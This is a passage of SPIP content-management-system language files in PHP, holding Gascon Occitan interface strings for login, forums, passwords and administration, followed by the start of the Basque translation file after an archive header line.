'dirs_repertoires_absents' => '<b>Non s’ei pas trobat los repertòris seguents: <ul>@bad_dirs@.</ul> </b>
<p>Que’s pòt que venga d’un problèma de majusculas o minusculas mau hicadas.
Verificatz que las minusculas e majusculas d’aqueths repertòris e correspónian plan dab çò d’afichat
ça sus; se n’ei pas lo cas, tornatz nommar los repertòris dab lo vòste logiciau FTP en corregir l’error.
<p>Un còp qu’auratz hèit aquò, que poiratz ', # MODIF
'dirs_repertoires_suivants' => '<b>Los repertòris seguents non son pas accessibles en escritura: <ul>@bad_dirs@.</ul> </b>
<p>Entà adobar aquò, utilizatz lo vòste client FTP entà reglar los drets d’accès de cadun
d’aqueths repertòris. La guida d’installacion qu’explica en detalh quin cau procedir.
<p>Tanlèu qu’auratz hèita aquera manipulacion, que poiratz ', # MODIF
'double_occurrence' => 'Double occurrence', # MODIF
// E
'envoi_via_le_site' => 'Mandadís dab lo biaish deu sit web',
// F
'fichier_introuvable' => 'Non s’ei pas pogut trobar lo fichièr @fichier@.',
'form_deja_inscrit' => 'Qu’ètz ja inscriut(a).',
'form_email_non_valide' => 'La vòsta adreiça e-mail n’ei pas valida.',
'form_forum_access_refuse' => 'Non podetz plus accedir a aqueth sit.',
'form_forum_bonjour' => 'Adishatz @nom@,,',
'form_forum_email_deja_enregistre' => 'Aquera adreiça e-mail ja qu’ei registrada, doncas que podetz utilizar lo vòste mot de santa Clara costumèr.',
'form_forum_identifiant_mail' => 'Que vs’avèm mandat lo vòste identificant navèth per e-mail.',
'form_forum_identifiants' => 'Identificants personaus',
'form_forum_indiquer_nom_email' => 'Indicatz aquí lo vòste nom e la vòsta adreiça e-mail. Lo vòste identificant personau qu’arribarà lèu-lèu, per e-mail.',
'form_forum_login' => 'login:',
'form_forum_message_auto' => '(aquò qu’ei un messatge automatic)',
'form_forum_pass' => 'mot de santa Clara:',
'form_forum_probleme_mail' => 'Problèma d’e-mail: ne’s pòt pas mandar l’identificant.',
'form_forum_voici1' => 'Tiètz los vòstes identificants entà poder participar aus forums
deu sit "@nom_site_spip@" (@adresse_site@):', # MODIF
'form_forum_voici2' => 'Tiètz los vòstes identificants entà perpausar articles
suu sit "@nom_site_spip@" (@adresse_login@):', # MODIF
'form_indiquer_email' => 'Volhatz indicar la vòsta adreiça e-mail.',
'form_indiquer_nom' => 'Volhatz indicar lo vòste nom.',
'form_indiquer_nom_site' => 'Volhatz indicar lo nom deu vòste sit.',
'form_pet_deja_enregistre' => 'Ja aqueth sit qu’ei registrat',
'form_pet_signature_pasprise' => 'La vòsta signatura n’ei pas presa en compte.',
'form_prop_confirmer_envoi' => 'Confirmar lo mandadís',
'form_prop_description' => 'Descripcion/comentari',
'form_prop_enregistre' => 'La vòsta proposicion qu’ei plan registrada, qu’apareisherà en linha tanlèu que los responsables deu sit e l’auràn validada .',
'form_prop_envoyer' => 'Mandar un messatge',
'form_prop_indiquer_email' => 'Volhatz indicar ua adreiça e-mail valida',
'form_prop_indiquer_nom_site' => 'Volhatz indicar lo nom deu sit.',
'form_prop_indiquer_sujet' => 'Volhatz indicar un subjècte',
'form_prop_message_envoye' => 'Messatge mandat',
'form_prop_non_enregistre' => 'La vòsta proposicion n’ei pas estada registrada.',
'form_prop_sujet' => 'Subjècte',
'form_prop_url_site' => 'Adreiça (URL) deu sit', # MODIF
'forum_non_inscrit' => 'Sia n’ètz pas inscriut(a), sia avetz hèit ua error d’adreiça o de mot de santa Clara. ',
'forum_par_auteur' => 'per @auteur@',
'forum_titre_erreur' => 'Error...',
// I
'ical_texte_rss_articles' => 'Lo fichièr "backend" deus articles d’aqueste sit que’s tròba a l’adreiça:',
'ical_texte_rss_articles2' => 'Atanben que podetz obtiéner fichièrs "backend" peus articles de cada rubrica deu sit:',
'ical_texte_rss_breves' => 'Qu’existeishen mei d’un fichièr contienent las brèvas deu sit. En precisar un numèro de rubrica, qu’obtieneratz sonque las brèvas de la rubrica aquera.',
'icone_a_suivre' => 'De seguir',
'icone_admin_site' => 'Administracion deu sit',
'icone_agenda' => 'Agenda e messatjaria',
'icone_aide_ligne' => 'Ajuda',
'icone_articles' => 'Articles',
'icone_auteurs' => 'Autors',
'icone_brouteur' => 'Navigacion rapida',
'icone_configuration_site' => 'Configuracion',
'icone_configurer_site' => 'Configurar lo vòste sit',
'icone_creer_nouvel_auteur' => 'Crear un autor nau',
'icone_creer_rubrique' => 'Crear ua rubrica',
'icone_creer_sous_rubrique' => 'Crear ua sosrubrica',
'icone_deconnecter' => 'Desconnectà’s',
'icone_discussions' => 'Discussions',
'icone_doc_rubrique' => 'Documents de las rubricas',
'icone_ecrire_article' => 'Escríver un article nau',
'icone_edition_site' => 'Edicion',
'icone_gestion_langues' => 'Gestion de las lengas',
'icone_informations_personnelles' => 'Informacions personaus',
'icone_interface_complet' => 'Interfàcia completa',
'icone_interface_simple' => 'Interfàcia simplificada',
'icone_maintenance_site' => 'Mantienença deu sit',
'icone_messagerie_personnelle' => 'Messatjaria personau',
'icone_repartition_debut' => 'Afichar la reparticion dempuish la començança',
'icone_rubriques' => 'Rubricas',
'icone_sauver_site' => 'Sauvagarda deu sit',
'icone_site_entier' => 'Tot lo sit ',
'icone_sites_references' => 'Sits referenciats',
'icone_statistiques' => 'Estadisticas deu sit',
'icone_suivi_activite' => 'Seguir l’activitat editoriau',
'icone_suivi_actualite' => 'Evolucion deu sit',
'icone_suivi_pettions' => 'Seguir/gerir las peticions',
'icone_suivi_revisions' => 'Modificacions deus articles',
'icone_supprimer_document' => 'Suprimir aqueth document',
'icone_supprimer_image' => 'Suprimir aqueth imatge',
'icone_tous_articles' => 'Tots los vòstes articles ',
'icone_tous_auteur' => 'Tots los autors ',
'icone_visiter_site' => 'Vesitar', # MODIF
'icone_voir_en_ligne' => 'Véder en linha',
'img_indisponible' => 'imatge indisponible',
'info_a_suivre' => 'DE SEGUIR>>',
'info_acces_interdit' => 'Accès proïbit',
'info_acces_refuse' => 'Accès arrefusat',
'info_action' => 'Accion: @action@',
'info_administrer_rubriques' => 'Que podetz administrar aquera rubrica e las soas sosrubricas',
'info_adresse_non_indiquee' => 'N’avètz pas indicat l’adreiça de testar!',
'info_aide' => 'AJUDA:',
'info_ajouter_mot' => 'Ajustar aqueth mot',
'info_annonce' => 'ANONCI',
'info_annonces_generales' => 'Anoncis generaus:',
'info_article_propose' => 'Article perpausat',
'info_article_publie' => 'Article publicat',
'info_article_redaction' => 'Article en cors de redaccion',
'info_article_refuse' => 'Article arrefusat',
'info_article_supprime' => 'Article suprimit',
'info_articles' => 'Articles',
'info_articles_a_valider' => 'Los articles de validar',
'info_articles_proposes' => 'Articles perpausats',
'info_auteurs_nombre' => 'autor(s)',
'info_authentification_ftp' => 'autentificacion (per FTP).',
'info_breves_2' => 'brèvas',
'info_connexion_refusee' => 'Connexion arrefusada',
'info_contact_developpeur' => 'Volhatz contactar un desvolopaire.',
'info_contenance' => 'Aqueth sit que contien:',
'info_contribution' => 'Contribucions de forum', # MODIF
'info_copyright' => '@spip@ qu’ei un logiciau liure distribuit @lien_gpl@.',
'info_copyright_doc' => 'Per mei informacions, véder lo sit <a href="@spipnet@">http://www.spip.net/oc</a>.', # MODIF
'info_copyright_gpl' => 'devath licéncia GPL',
'info_cours_edition' => 'Los vòstes articles en cors de redaccion',
'info_creer_repertoire' => 'Volhatz crear un fichièr o un repertòri nomentat',
'info_creer_repertoire_2' => 'laguens lo sosrepertòri <b>@repertoire@</b>, puish:', # MODIF
'info_creer_vignette' => 'creacion automatica de la vinheta',
'info_deplier' => 'Desplegar',
'info_descriptif_nombre' => 'descriptiu(s):',
'info_description' => 'Descripcion:',
'info_description_2' => 'Descripcion:',
'info_dimension' => 'Dimensions:',
'info_ecire_message_prive' => 'Escríver un messatge privat',
'info_email_invalide' => 'Adreiça e-mail invalida',
'info_en_cours_validation' => 'Los vòstes articles en cors de redaccion',
'info_en_ligne' => 'Ara en linha:',
'info_envoyer_message_prive' => 'Mandar un messatge privat a aqueth autor',
'info_erreur_requete' => 'Error dens la requèsta',
'info_erreur_squelette2' => 'Nada esqueleta <b>@fichier@</b> n’ei pas disponibla...',
'info_erreur_systeme' => 'Error sistèma (errno @errsys@)',
'info_erreur_systeme2' => 'Lo disc dur qu’ei dilhèu plen, o la basa de dadas gastada. <br />
<span style="color:red;">Ensajatz de <a href=\'@script@\'>reparar la basa</a>, o contactatz lo vòste aubergader.</span>', # MODIF
'info_fini' => 'Qu’ei acabat!',
'info_format_image' => 'Formats d’imatges qui’s pòden utilizar tà crear vinhetas: @gd_formats@.',
'info_format_non_defini' => 'format non definit',
'info_grand_ecran' => 'Ecran gran ',
'info_image_aide' => 'AJUDA',
'info_image_process_titre' => 'Metòde de fabricacion de las vinhetas',
'info_impossible_lire_page' => '<b>Error!</b> Impossible de legir la pagina <tt><html>@test_proxy@</html></tt> a travèrs deu proxy <tt>', # MODIF
'info_installation_systeme_publication' => 'Installacion deu sistèma de publicacion...',
'info_installer_documents' => 'Que podetz installar automaticament tots los documents contenguts dens lo repertòri @upload@.', # MODIF
'info_installer_ftp' => 'Com administrator, que podetz installar (per FTP) fichièrs dens lo dorsièr @upload@, puish seleccionà’us dirèctament ací.', # MODIF
'info_installer_images' => 'Que podetz installar imatges aus formats JPEG, GIF e PNG.',
'info_installer_images_dossier' => 'Installar imatges dens lo dorsièr @upload@ entà’us poder seleccionar ací.', # MODIF
'info_interface_complete' => 'Interfàcia completa',
'info_interface_simple' => 'Interfàcia simplificada',
'info_joindre_document_article' => 'Que podetz jónher a aqueth article documents de la traca de',
'info_joindre_document_rubrique' => 'Que podetz ajustar a aquera rubrica documents de la traca de',
'info_joindre_documents_article' => 'Que podetz jónher a aqueth article documents de la traca de:',
'info_l_article' => 'l’article',
'info_la_breve' => 'la brèva',
'info_la_rubrique' => 'la rubrica',
'info_langue_principale' => 'Lenga majorau deu sit',
'info_largeur_vignette' => '@largeur_vignette@ x @hauteur_vignette@ pixèls',
'info_les_auteurs_1' => 'per @les_auteurs@ ',
'info_logo_format_interdit' => 'Los lògos de formats @formats@ que son sols autorizats.',
'info_logo_max_poids' => 'Los lògos qu’an de har mensh de @maxi@ (aqueste fichièr que hè @actuel@).',
'info_mail_fournisseur' => 'vos@hornider.com',
'info_message_2' => 'MESSATGE',
'info_message_supprime' => 'MESSATGE SUPRIMIT',
'info_mise_en_ligne' => 'Data de hicada en linha:',
'info_modification_parametres_securite' => 'modificacions deus paramètres de seguretat',
'info_mois_courant' => 'Dens lo corrent deu mes:',
'info_mot_cle_ajoute' => 'Que s’ei ajustat lo mot clau seguent a ',
'info_multi_herit' => 'Lenga predefinida',
'info_multi_langues_soulignees' => 'Las <u>lengas solinhadas</u> que benefícian d’ua arrevirada de tots los tèxts de l’interfàcia. Se seleccionatz aqueras lengas, hèra d’elements deu sit public (datas, formularis) que s’arreviraràn automaticament. Entà las lengas non solinhadas, aqueths elements qu’apareisheràn dens la lenga principau deu sit.', # MODIF
'info_multilinguisme' => 'Multilingüisme',
'info_nom_non_utilisateurs_connectes' => 'Lo vòste nom n’apareish pas dens la tèra deus utilizaires connectats.',
'info_nom_utilisateurs_connectes' => 'Lo vòste nom qu’apareish dens la tèra deus utilizaires connectats.',
'info_nombre_en_ligne' => 'Ara en linha:',
'info_non_resultat' => 'Nat resultat entà "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'N’utilizatz pas la messatjaria intèrna d’aqueth sit.',
'info_nouveau_message' => 'QU’AVETZ UN MESSATGE NAU',
'info_nouveaux_messages' => 'QU’AVETZ @total_messages@ MESSATGES NAUS',
'info_numero_abbreviation' => 'N° ',
'info_pense_bete' => 'MEMENTO',
'info_petit_ecran' => 'Ecran petit ',
'info_pixels' => 'pixèls',
'info_plusieurs_mots_trouves' => 'Mei d’un mot clau trobat per "@cherche_mot@":',
'info_portfolio_automatique' => 'Pòrtfòlio automatic:',
'info_premier_resultat' => '[@debut_limit@ permèrs resultats de @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ permèrs resultats de @total@]',
'info_propose_1' => '[@nom_site_spip@] Que perpausa: @titre@',
'info_propose_2' => 'Article perpausat
---------------',
'info_propose_3' => 'L’article "@titre@" qu’ei perpausat a la publicacion.',
'info_propose_4' => 'Que’vs convidam a viéner consultà’u e a bailar la vòsta idèa',
'info_propose_5' => 'dens lo forum qui l’ei estacat. Qu’ei disponible a l’adreiça:',
'info_publie_01' => 'L’article "@titre@" qu’ei estat validat per @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] QUE PUBLICA: @titre@',
'info_publie_2' => 'Article publicat--------------',
'info_rechercher' => 'Cercar',
'info_rechercher_02' => 'Cercar:',
'info_remplacer_vignette' => 'Remplaçar la vinheta predefinida per un lògo personalizat:',
'info_sans_titre_2' => 'shens títol',
'info_selectionner_fichier' => 'Que podetz seleccionar un fichièr deu dorsièr @upload@', # MODIF
'info_selectionner_fichier_2' => 'Seleccionar un fichièr:',
'info_supprimer_vignette' => 'suprimir la vinheta',
'info_symbole_bleu' => 'Lo simbèu <b>blau</b> que marca un <b>memento</b>: qu’ei a díser un messatge tau vòste usatge personau.', # MODIF
'info_symbole_jaune' => 'Lo simbèu <b>jaune</b> que marca un <b>anonci tà tots los redactors </b>: los administrators que’u pòden modificar, cada redactor que’u pòt véder.', # MODIF
'info_symbole_vert' => 'Lo simbèu <b>verd</b> que marca los <b>messatges escambiats dab autes utilizaires</b> deu sit.', # MODIF
'info_telecharger_nouveau_logo' => 'Telecargar un lògo nau:',
'info_telecharger_ordinateur' => 'Telecargar a partir deu vòste ordenader:',
'info_tous_resultats_enregistres' => '[tots los resultats que son registrats]',
'info_tout_afficher' => 'Afichar tot',
'info_travaux_texte' => 'Aqueth sit n’ei pas enqüèra configurat. Tornatz mei tard...',
'info_travaux_titre' => 'Sit en òbras',
'info_trop_resultat' => 'Tròp de resultats entà "@cherche_mot@"; volhatz afinar la cèrca.',
'info_utilisation_messagerie_interne' => 'Qu’utilizatz la messatjaria intèrna d’aqueth sit.',
'info_valider_lien' => 'validar aqueth ligam',
'info_verifier_image' => ', volhatz verificar que los imatges e’s sian plan transferits.',
'info_vignette_defaut' => 'Vinheta predefinidas ',
'info_vignette_personnalisee' => 'Vinheta personalizada',
'info_visite' => 'vesita:',
'info_vos_rendez_vous' => 'Los vòstes rendetz-vos qui vienen',
'infos_vos_pense_bete' => 'Los vòstes mementos', # MODIF
// L
'lien_afficher_icones_seuls' => 'Afichar sonque las icònas',
'lien_afficher_texte_icones' => 'Afichar las icònas e lo tèxt',
'lien_afficher_texte_seul' => 'Afichar sonque lo tèxt',
'lien_liberer' => 'liberar',
'lien_liberer_tous' => 'liberar aqueths articles', # MODIF
'lien_nouvea_pense_bete' => 'MEMENTO NAU ',
'lien_nouveau_message' => 'MESSATGE NAU',
'lien_nouvelle_annonce' => 'ANONCI NAVÈTH',
'lien_petitions' => 'PETICION',
'lien_popularite' => 'popularitat: @popularite@%',
'lien_racine_site' => 'ARRADIT DEU SIT',
'lien_reessayer' => 'tornar ensajar',
'lien_repondre_message' => 'Respóner a aqueth messatge',
'lien_supprimer' => 'suprimir',
'lien_tout_afficher' => 'Afichar tot',
'lien_visite_site' => 'vesitar aqueth sit',
'lien_visites' => '@visites@ vesitas',
'lien_voir_auteur' => 'Véder aqueth autor',
'login_acces_prive' => 'accès a l’espaci privat',
'login_autre_identifiant' => 'connectà’s dab un aute identificant',
'login_cookie_accepte' => 'Volhatz configurar lo vòste navigader tà que’us accèpte (aumensh tà aqueth sit).',
'login_cookie_oblige' => 'Entà vs’identificar d’ua manèra segura sus aqueste sit, que’vs cau acceptar los cookies.',
'login_deconnexion_ok' => 'Qu’ètz desconnectat/ada.',
'login_erreur_pass' => 'Error de mot de santa Clara.',
'login_espace_prive' => 'espaci privat',
'login_identifiant_inconnu' => 'L’identificant «@login@» qu’ei inconegut.',
'login_login' => 'Login:',
'login_login2' => 'Login (identificant de connexion au sit):', # MODIF
'login_login_pass_incorrect' => '(Login o mot de santa Clara incorrècte.)',
'login_motpasseoublie' => 'mot de santa Clara oblidat?',
'login_non_securise' => 'Atencion, aqueth formulari n’ei pas securizat.
Se non voletz pas que lo vòste mot de santa Clara sia
interceptat sus l’arret, volhatz activar Javascript
dens lo vòste navigader e',
'login_nouvelle_tentative' => 'navèth ensai',
'login_par_ici' => 'Qu’ètz registrat/ada... per aquí...',
'login_pass2' => 'Mot de santa Clara:',
'login_preferez_refuser' => '<b>Se vs’agrada mei d’arrefusar los cookies</b>, un aute metòde de connexion (mensh securizat) qu’ei a la vòsta disposicion:',
'login_recharger' => 'tornar cargar aquera pagina',
'login_rester_identifie' => 'Demorar identificat quauques dias',
'login_retour_public' => 'Tornar au sit public',
'login_retour_site' => 'Tornar au sit public',
'login_retoursitepublic' => 'tornar au sit public',
'login_sans_cookiie' => 'Identificacion shens cookie',
'login_sinscrire' => 'inscrive’s',
'login_test_navigateur' => 'Ensai navigader/tornar connectar',
'login_verifiez_navigateur' => '(totun verificatz que lo vòste navigader n’aja pas servat lo vòste mot de santa Clara en memòria...)',
// M
'module_fichiers_langues' => 'Fichièrs de lenga',
// N
'navigateur_pas_redirige' => 'Se lo vòste navigader n’ei pas redirigit, clicatz ací tà contunhar.',
// O
'onglet_affacer_base' => 'Esfaçar la basa',
'onglet_auteur' => 'L’autor',
'onglet_contenu_site' => 'Contengut deu sit',
'onglet_evolution_visite_mod' => 'Evolucion',
'onglet_fonctions_avances' => 'Foncions avançadas',
'onglet_informations_personnelles' => 'Informacions personaus',
'onglet_interactivite' => 'Interactivitat',
'onglet_messagerie' => 'Messatjaria',
'onglet_repartition_rubrique' => 'Reparticion per rubricas',
'onglet_save_restaur_base' => 'Sauvagardar/restaurar la basa',
'onglet_vider_cache' => 'Vueidar l’esconeder',
// P
'pass_choix_pass' => 'Volhatz causir lo vòste mot de santa Clara navèth:',
'pass_erreur' => 'Error',
'pass_erreur_acces_refuse' => '<b>Error:</b> non podetz plus accedir a aqueth sit.',
'pass_erreur_code_inconnu' => '<b>Error:</b> aqueth còde non correspond pas a nat vesitaire qui posca accedir a aqueth sit.',
'pass_erreur_non_enregistre' => '<b>Error:</b> l’adreiça <tt>@email_oubli@</tt> n’ei pas registrada sus aqueth sit.',
'pass_erreur_non_valide' => '<b>Error:</b> aqueth e-mail <tt>@email_oubli@</tt> n’ei pas valid!',
'pass_erreur_probleme_technique' => '<b>Error:</b> pr’amor d’un problèma tecnic, l’e-mail ne’s pòt pas mandar. ',
'pass_espace_prive_bla' => 'L’espaci privat d’aqueste sit qu’ei dobèrt aus
vesitaires qui’s son inscriuts. Un còp registrat/ada,
que poiratz consultar los articles en cors de redaccion,
perpausar articles navèths e participar a tots los forums.',
'pass_forum_bla' => 'Qu’avetz demandat d’interviéner dens un forum
reservat aus vesitaires registrats.',
'pass_indiquez_cidessous' => 'Marcatz ça devath l’adreiça e-mail on
vos registrètz lo còp passat.
Que receberatz un e-mail qui’vs bailarà la manèra de
tornar trobar lo vòste accès.',
'pass_mail_passcookie' => '(aquò qu’ei un messatge automatic)
Tà tornar trobar lo vòste accès au sit
@nom_site_spip@ (@adresse_site@)
Volhatz anar a l’adreiça seguenta:
@sendcookie@
Alavetz que poiratz entrar un mot de santa Clara navèth
e tornar connectà’vs au sit.
', # MODIF
'pass_mot_oublie' => 'Mot de santa Clara desmembrat',
'pass_nouveau_enregistre' => 'Lo vòste mot de santa Clara navèth qu’ei estat registrat.',
'pass_nouveau_pass' => 'Mot de santa Clara navèth',
'pass_ok' => 'D’acòrd',
'pass_oubli_mot' => 'Mot de santa Clara desmembrat',
'pass_quitter_fenetre' => 'Quitar aquesta frinèsta ',
'pass_rappel_login' => 'Remembrança: lo vòste identificant (login) qu’ei «@login@».',
'pass_recevoir_mail' => 'Que receberatz un e-mail qui vs’explicarà quin tornar trobar lo vòste accès au sit.',
'pass_retour_public' => 'Tornar au sit public',
'pass_rien_a_faire_ici' => 'Pas arren a har ací.',
'pass_vousinscrire' => 'Inscrive’s sus aqueste sit',
'precedent' => 'precedent',
'previsualisation' => 'Previsualizacion',
'previsualiser' => 'Previsualizar',
// S
'stats_visites_et_popularite' => '@visites@ vesitas; popularitat: @popularite@',
'suivant' => 'seguent',
// T
'taille_ko' => '@taille@ Ko',
'taille_mo' => '@taille@ Mo',
'taille_octets' => '@taille@ octets',
'texte_actualite_site_1' => 'Quan vos seretz familharizat/ada dab l’interfàcia, que poiratz clicar sus «',
'texte_actualite_site_2' => 'Interfàcia completa',
'texte_actualite_site_3' => '" tà aubrir mei possibilitats.',
'texte_creation_automatique_vignette' => 'La creacion automatica de vinhetas de previsualizacion qu’ei activada sus aqueth sit. S’installatz a partir d’aqueth formulari d’imatges au(s) format(s) @gd_formats@, que s’acompanharàn d’ua vinheta d’ua talha maximau de @taille_preview@ pixèls.',
'texte_documents_associes' => 'Los documents seguents que s’assòcian a l’article,
mes non s’insereishen pas
dirèctament. Segon la compaginacion deu sit public,
que poiràn aparéisher devath forma de documents junts.',
'texte_erreur_mise_niveau_base' => 'Error de basa de dadas pendent la hicada a nivèu. L’imatge <b>@fichier@</b> n’ei pas passat (article @id_article@).
Notatz plan aquera referéncia, tornatz ensajar la hicada a
nivèu, e verificatz puish que los imatges aparegan
enqüèra dens los articles.', # MODIF
'texte_inc_auth_1' => 'Qu’ètz identificat/ada com
<b>@auth_login@</b>, mes aqueth login n’existeish pas o plus dens la basa.
Ensajatz de’vs', # MODIF
'texte_inc_auth_2' => 'tornar connectar',
'texte_inc_auth_3' => ', après qu’auratz quitat eventuaument, puish
tornat lançar lo vòste navigader.',
'texte_inc_config' => 'Las modificacions hèitas dens aquestas paginas qu’influéncian de bèth pro lo
foncionament deu vòste sit. Que vs’aconselham de n’interviene’i pas tant que non siatz pas
acostumat/ada au foncionament deu sistèma SPIP. <br /><br /><b>
En generau, que’s conselha hòrt
de deishar la carga d’aquestas paginas au webmèstre principau deu vòste sit.</b>', # MODIF
'texte_inc_meta_1' => 'Lo sistèma qu’a rescontrat ua error dens l’escritura deu fichièr <code>@fichier@</code>.Volhatz, com administrator/tritz deu sit,', # MODIF
'texte_inc_meta_2' => 'verificar los drets d’escritura',
'texte_inc_meta_3' => 'dens lo repertòri <code>@repertoire@</code>.', # MODIF
'texte_statut_en_cours_redaction' => 'en cors de redaccion',
'texte_statut_poubelle' => 'a la caisha de las dèishas',
'texte_statut_propose_evaluation' => 'perpausat per avaloracion',
'texte_statut_publie' => 'publicat en linha',
'texte_statut_refuse' => 'arrefusat',
'titre_ajouter_mot_cle' => 'AJUSTAR UN MOT CLAU:',
'titre_cadre_raccourcis' => 'ACORCIDAS:',
'titre_changer_couleur_interface' => 'Cambiar la color de l’interfàcia',
'titre_image_admin_article' => 'Que podetz administrar aqueste article',
'titre_image_administrateur' => 'Administrator',
'titre_image_aide' => 'Ajuda sus aqueth element',
'titre_image_auteur_supprime' => 'Autor suprimit',
'titre_image_redacteur' => 'Redactor shens accès',
'titre_image_redacteur_02' => 'Redactor',
'titre_image_visiteur' => 'Vesitaire',
'titre_joindre_document' => 'JÓNHER UN DOCUMENT',
'titre_mots_cles' => 'MOTS CLAU',
'titre_probleme_technique' => 'Atencion: un problèma tecnic (servider SQL) qu’empacha d’accedir a aquera part deu sit. Mercés de la vòsta indulgéncia.',
'titre_publier_document' => 'PUBLICAR UN DOCUMENT DENS AQUERA RUBRICA',
'titre_statistiques' => 'Estadisticas deu sit',
'titre_titre_document' => 'Títol deu document:',
'trad_reference' => '(article de referéncia)', # MODIF
// Z
'zbug_balise_b_aval' => ' : balisa B cap envath',
'zbug_boucle' => 'bloca',
'zbug_boucle_recursive_undef' => 'bloca recursiva non definida', # MODIF
'zbug_champ_hors_boucle' => 'Camp @champ@ hòra bloca',
'zbug_champ_hors_motif' => 'Camp @champ@ en dehòra d’ua bloca de motiu @motif@', # MODIF
'zbug_code' => 'còde',
'zbug_critere_inconnu' => 'critèri inconegut @critere@', # MODIF
'zbug_distant_interdit' => 'extèrne enebit', # MODIF
'zbug_doublon_table_sans_index' => 'doublons sur une table sans index', # MODIF
'zbug_erreur_boucle_double' => 'BLOCA@id@: definicion dobla', # MODIF
'zbug_erreur_boucle_fermant' => 'BLOCA@id@: lo tag barrader que manca', # MODIF
'zbug_erreur_boucle_syntaxe' => 'Sintaxi bloca incorrècta', # MODIF
'zbug_erreur_execution_page' => 'error d’execucion de la pagina', # MODIF
'zbug_erreur_filtre' => 'Error: filtre <b>« @filtre@ »</b> non definit', # MODIF
'zbug_erreur_meme_parent' => '{meme_parent} que s’aplica sonque a las blocas (FORUMS) o (RUBRIQUES)', # MODIF
'zbug_erreur_squelette' => 'Error(s) dens l’esqueleta',
'zbug_info_erreur_squelette' => 'Error suber lo sit',
'zbug_inversion_ordre_inexistant' => 'inversion d’un òrdre inexistent', # MODIF
'zbug_pagination_sans_critere' => '#PAGINATION sans critère {pagination} ou employé dans une boucle recursive', # MODIF
'zbug_parametres_inclus_incorrects' => 'Paramètres d’inclusion incorrèctes', # MODIF
'zbug_resultat' => 'resultat',
'zbug_serveur_indefini' => 'servidor SQL indefinit', # MODIF
'zbug_table_inconnue' => 'Taula SQL «@table@» inconeguda'
);
?>
ecrire_eu.php 0000666 00000210325 15252547432 0007237 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=eu
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Gehigarria aktibatu',
'affichage' => 'Ikuspegia',
'aide_non_disponible' => 'On line delakoaren laguntza-atal hau prestatzekoa dago hizkuntza honetan.',
'annuler_recherche' => 'Bilaketa ezeztatu',
'auteur' => 'Egilea :',
'avis_acces_interdit' => 'Sarrera Debekatua',
'avis_article_modifie' => 'Adi egon,(@nom_auteur_modif@) lan honetan aritu zen orain dela (@date_diff@)minutu.',
'avis_aucun_resultat' => 'Emaitzarik ez dago.',
'avis_base_inaccessible' => '@base@ datu baseari konektatzea ezinezkoa da.',
'avis_chemin_invalide_1' => 'Aukeratutako bideak',
'avis_chemin_invalide_2' => 'ez dirudi egokia. Itzul zaitez aurreko orrialdera eta egiazta itzazu sartutako informazioak.',
'avis_connexion_echec_1' => 'SQL zerbitzariarekiko lokarriak huts egin du.',
'avis_connexion_echec_2' => 'Itzul zaitez aurreko orrialdera eta egiazta itzazu sartutako informazioak.',
'avis_connexion_echec_3' => 'KONTUZ: Zerbitzari askotan, erabili ahal izan aurretik SQL baserako sarreraren aktibatzea eskatu behar da. Ezin baduzu konektatu, egiaztaezazu tramite hori bete duzula.',
'avis_connexion_erreur_nom_base' => 'Basearen izenak hizkiak, zifrak eta marratxoak soilik eduki ditzazke',
'avis_connexion_ldap_echec_1' => 'LDAP zerbitzariarekiko lokarriak huts egin du',
'avis_connexion_ldap_echec_2' => 'Itzul zaitez aurreko orrialdera eta egiazta itzazu sartutako informazioak.',
'avis_connexion_ldap_echec_3' => 'Horren ordez, erabiltzaileak inportatzeko ez erabili LDAP euskarria.',
'avis_deplacement_rubrique' => 'ADI EGON!. Atal honek (@contient_breves@)breve@scb@. Mugitzen baduzu, eragin ezazu baieztapen-kutxatila hau.',
'avis_destinataire_obligatoire' => 'Mezu hau igorri aurretik jasotzailea zehaztu behar duzu.',
'avis_erreur_connexion_mysql' => 'SQL lokarri-errorea',
'avis_erreur_version_archive' => '<b>KONTUZ !
@archive@ fitxategia beste SPIP bertsio bati dagokio, instalatutakoaren desberdina.
</b>Arazo larriak edukitzeko arriskuan zaude: Zure datu-basearen suntsiketa, gunearen zenbait disfuntzio, eta abar.
Ez balidatu inportazio galdera hau.
<p>Informazio gehiago edukitzeko ikus SPIP dokumentazioa (oraindik frantsesez) .</p>',
'avis_espace_interdit' => 'Gune helezina SPIP instalaturik dago jadanik.',
'avis_lecture_noms_bases_1' => 'Instalazio-programak ez du lortu instalaturik dauden datu-baseen izenak irakurtzea.',
'avis_lecture_noms_bases_2' => 'Bi aukera: Base erabilgarririk ez dago edo segurtasun arrazoiak direla medio baseen zerrenda-funtzioa desaktibatu egin da (zerbitzari ugaritan ohizkoa da). ',
'avis_lecture_noms_bases_3' => 'Bigarren kasuan, zure login izena duen base bat erabili ahal izatea litekeena da.',
'avis_non_acces_message' => 'Ez daukazu mezu hau irakurtzeko baimenik',
'avis_non_acces_page' => 'Ez daukazu orri honetan sartzeko baimenik',
'avis_operation_echec' => 'Eragiketak huts egin du.',
'avis_operation_impossible' => 'Ezinezko eragiketa',
'avis_probleme_archive' => '@archive@ fitxategiaren irakurketa-arazoa',
'avis_suppression_base' => 'KONTUZ, dataezabapena itzulezina da!',
'avis_version_mysql' => 'Zure(@version_mysql@) SQL bertsioak ez du uzten basean bertan taulen auto-konponketa.',
// B
'bouton_acces_ldap' => 'LDAP >> -rako sarrera erantsi ',
'bouton_ajouter' => 'Erantsi',
'bouton_ajouter_participant' => 'PARTEHARTZAILE BAT GEHITU:',
'bouton_annonce' => 'IRAGARKIA',
'bouton_annuler' => 'Ezeztatu',
'bouton_cache_activer' => 'Cachea berraktibatu',
'bouton_cache_desactiver' => 'Cachea aldi baterako desaktibatu',
'bouton_checkbox_envoi_message' => 'mezu bat bidaltzeko aukera',
'bouton_checkbox_indiquer_site' => 'Web toki bat derrigorrezadierazi',
'bouton_checkbox_signature_unique_email' => 'Posta elektroniko bakoitzeko sinadura bana',
'bouton_checkbox_signature_unique_site' => 'sinadura bakar bat Web gune bakoitzako ',
'bouton_demande_publication' => 'Artikulu honen argitaratzea eskatu',
'bouton_desactive_tout' => 'Dena desaktibatu',
'bouton_desinstaller' => 'Desinstalatu',
